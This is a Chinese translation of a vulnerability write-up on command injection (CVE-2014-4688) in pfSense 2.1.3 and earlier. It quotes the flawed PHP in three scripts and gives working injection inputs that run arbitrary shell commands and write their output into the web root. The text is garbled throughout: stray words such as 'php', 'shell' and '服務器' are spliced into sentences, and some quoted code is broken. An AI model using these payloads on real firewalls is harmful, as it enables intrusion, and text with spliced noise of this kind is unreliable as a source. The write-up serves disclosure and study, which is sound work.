mssp299 · 2015/09/09 14:00php
翻譯:mssp299linux
原文地址:www.proteansec.com/linux/pfsen…shell
在本文中,咱們將向你們介紹在PfSense
的2.1.3
以及更低版本中的CVE-2014-4688
漏洞;對於更高的版原本說,pfSense
已經修復了這個漏洞。瀏覽器
下面展現的是腳本diag_dns.php
中存在命令注入漏洞的代碼片。咱們能夠看到,這段代碼首先檢查POST
參數host
是否存在,若是存在的話,就將變量$GET
的值賦給變量$POST
。而後,代碼繼續檢查GET
參數createalias
的值是否等於true
,若是是的話,則把POST參數host的值的首尾空白符去掉:trim()
函數的做用就是去掉字符串首尾處的空白符,可是字符串中間部分的空白符則保持不變。以後,還有一些其餘語句,不過它們並非咱們這裏關注的重點,咱們關心的是如何插入在反引號中運行的命令。服務器
/* Cheap hack to support both $_GET and $_POST */
if ($_GET['host'])
$_POST = $_GET;
if($_GET['createalias'] == "true") {
$host = trim($_POST['host']);
if($_GET['override'])
$override = true;
$a_aliases = &$config['aliases']['alias'];
$type = "hostname";
$resolved = gethostbyname($host);
if($resolved) {
$host = trim($_POST['host']);
$dig=`dig "$host" A | grep "$host" | grep -v ";" | awk '{ print 5 }'`;
複製代碼
因爲咱們能夠直接操縱變量$host
的值,所以,咱們徹底能夠在注入代碼的反引號中插入咱們想要執行的命令。下面,咱們輸入如下內容,讓它做爲POST
變量host
的輸入值:ide
192.168.1.1";ifconfig>/usr/local/www/temp.txt;echo+"
複製代碼
下面展現的是含有上述輸入字符串的HTTP請求,具體如圖所示。函數
圖1 發送給服務器的惡意請求spa
當上面所示的請求被執行時,Web
瀏覽器會顯示以下所示的內容,其中含有一個錯誤信息,出錯緣由是沒有提供有效的主機名。翻譯
圖2 錯誤消息:invalid hostname
3d
咱們已經在用戶提供的POST
參數host
放入了一個特殊字符;,這個字符的做用是分隔多個順序執行的命令。須要注意的是這種狀況下,只有當第一條命令返回``(成功返回)的時候,第二條命令纔會被執行;所以,只有確保前面的命令所有成功,後面的命令才能得以執行。下面給出一些能夠放在反引號中執行的命令:
# dig "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" A | grep "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" | grep -v ";" | awk '{ print $5 }'
複製代碼
咱們會看到,每條命令都會正確執行,其中最重要的命令就是ifconfig
了,它已經被注入到了得到輸出內容的腳本中了。因爲咱們沒法直接經過響應報文得到這些命令的輸出結果,因此必須經過管道命令將其輸出到DocumentRoot
下的一個文件中,而後才能經過Web
瀏覽器正常訪問。下面展現的是https://pfsense/temp.txt中的部分請求內容。
圖3 生成的temp.txt
文件
前面,咱們已經成功地注入了ifconfig
命令並獲得了其輸出結果,實際上這就意味着咱們能夠向diag_dns.php
腳本輸入任意命令並能獲得其輸出結果。
所以,攻擊者能夠注入精心構造的命令,並使其在服務器上面執行。
在diag_smart.php
腳本中,含有一個名爲update_email
的函數,代碼以下所示。這個函數的做用是編輯smartd.conf
文件,來添加或刪除通知磁盤出錯狀況的電子郵件地址。從下面的代碼能夠看到,這個函數帶有一個名爲smartmonemail
的POST
參數。須要注意的是,這個函數會調用sed
命令,並將參數unescaped
直接傳遞給shell_exec
函數。
function update_email($email)
{
// Did they pass an email?
if(!empty($email))
{
// Put it in the smartd.conf file
shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m "
$email . "/' /usr/local/etc/smartd.conf");
}
// Nope
Else
{
// Remove email flags in smartd.conf
shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN/'
usr/local/etc/smartd.conf");
}
}
if($_POST['email'])
{
// Write the changes to the smartd.conf file
update_email($_POST['smartmonemail']);
}
複製代碼
實際上,上面的代碼存在一個漏洞,容許咱們向shell_exec
函數注入任意命令,並執行之。下面的請求爲咱們展現了一個命令注入示例,它將"Command Injection
"反射到/var/local/www/cmd.txt
文件中。
當shell_exec
函數執行時,實際上下列命令也會隨之執行。
# /usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m ejan/'+/usr/local/etc/lynx.cfg;
# echo+"Command+Injection">/usr/local/www/cmd.txt;
# echo+' /' /usr/local/etc/smartd.conf;
複製代碼
在上面的命令中,第一條和第三條命令只是配角,中間那條命令纔是咱們想要注入的主角。實際上,咱們能夠利用shell_exec
函數注入任意命令。若是使用瀏覽器訪問https://pfsense/cmd.txt就會發現,這個字符串實際上已經被保存到DocumentRoot
下的相應文件中了。
圖4 生成的cmd.txt
文件
換句話說,攻擊者能夠注入任意命令,並使其在服務器上面執行。
在status_rrd_graph_img.php
腳本中也存在命令注入漏洞,這主要是因爲exec()
函數的調用方式引發的,下面是與此漏洞有關的部分代碼。
if ($_GET['database']) {
$curdatabase = basename($_GET['database']);
} else {
$curdatabase = "wan-traffic.rrd";
}
if(strstr($curdatabase, "queues")) {
log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
exec("/bin/rm -f $rrddbpath$curif$queues");
Flush();
Usleep(500);
enable_rrd_graphing();
}
if(strstr($curdatabase, "queuesdrop")) {
log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
exec("/bin/rm -f $rrddbpath$curdatabase");
Flush();
Usleep(500);
enable_rrd_graphing();
}
複製代碼
在上述代碼的開頭部分,會根據GET
參數database
的設置狀況來調用basename
函數:若是設置了該參數,則利用它來調用basename
函數;不然就被設爲靜態字符串wan-traffic.rrd
。因爲咱們想要將代碼注入到這個腳本中,因此,咱們必須將這個參數設爲某個值,由於咱們必須這樣作才能繞過basename
函數。此外,basename
函數須要一個文件路徑做爲其參數,其返回值爲路徑中的文件名部分(不包括擴展名),須要說明的是在Linux /BSD(pfSense)
中使用正斜槓/來做爲路徑分隔符。所以,這個函數返回的內容基本上就是最後一個正斜槓/後面的字符串,這一點在注入參數值時必須考慮到,由於最後一個正斜槓前面的內容都會被刪去。 所以,咱們能夠向GET
參數database
中注入任意字符,可是正斜槓除外。須要注意的是,咱們能夠向上面代碼中的任何一個exec()
語句注入命令,這主要取決於利用GET
參數databage
傳遞的字符串——就本例來講,咱們使用的是第二個exec()
函數調用,由於它要更簡單一些。 當上面的底部代碼被執行的時候,下列命令也會隨之執行。
# /bin/rm -f /var/db/rrd/$curdatabase;
複製代碼
咱們能夠在這個命令的尾部添加字符;,以便插入其餘在rm
命令運行結束之後須要執行的命令。須要說明的是,若是咱們使用了命令分隔符;的話,那麼只有當rm
命令已經成功執行完成以後,後插入的命令纔會被執行。若是咱們並不關心rm
命令的執行結果的話,咱們可使用&&
來分隔命令。須要說明的是,咱們沒法向任意目錄中echo
文本,由於這裏不容許使用正斜槓。爲了克服這個問題,咱們能夠先經過cd
命令進入預約目錄,而後經過命令管道實現文本傳輸的目的。首先,咱們必須搞清楚被執行代碼的當前目錄,這裏爲/var/db/rrd/directory
。下面的請求展現了咱們是如何執行queues;echo+"CMD+INJECT">cmd.txt
命令的。
圖5 執行echo
命令的請求
因爲當前目錄是/var/db/rrd/
,所以,這裏建立的cmd.txt
文件的內容爲CMD INJECT
,這能夠經過顯示該文件的內容來加以檢驗。
# cat /var/db/rrd/cmd.txt CMD INJECT
複製代碼
爲了在PfSense
安裝路徑下的DocumentRoot
中生成一樣的文件,咱們能夠經過三個cd ..
命令返回上層目錄,而後切換至 /usr/local/www/ directory
目錄,並從這裏執行echo
命令。這樣就可以在/usr/local/www/cmd.txt
路徑生成cmd.txt
文件了。
圖6 執行echo
命令的請求
因爲咱們當前位於PfSense Web
應用的DocumentRoot
目錄中,因此只要在瀏覽器中請求cmd.txt
,就能知道是否收到了輸出CMD INJECT
了。
圖7 生成的cmd.txt
文件
這個漏洞容許咱們在PfSense
服務器上執行任意的代碼,所以最終會致使這個防火牆形同虛設。 換句話說,攻擊者能夠注入任意命令,並使其在服務器上面執行。
本文詳細分析了咱們在PfSense中發現的一些命令注入漏洞,但願對讀者朋友們有所幫助。